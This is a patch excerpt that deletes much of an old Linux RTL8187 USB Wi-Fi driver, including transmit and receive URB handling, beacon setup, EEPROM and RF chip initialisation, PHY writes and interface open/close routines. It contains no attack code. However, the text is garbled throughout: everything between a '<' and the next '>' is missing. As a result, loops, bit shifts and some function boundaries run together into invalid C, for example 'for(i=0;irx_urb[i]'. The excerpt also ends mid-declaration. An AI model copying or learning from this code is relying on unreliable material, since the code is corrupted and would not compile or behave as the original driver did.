r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv 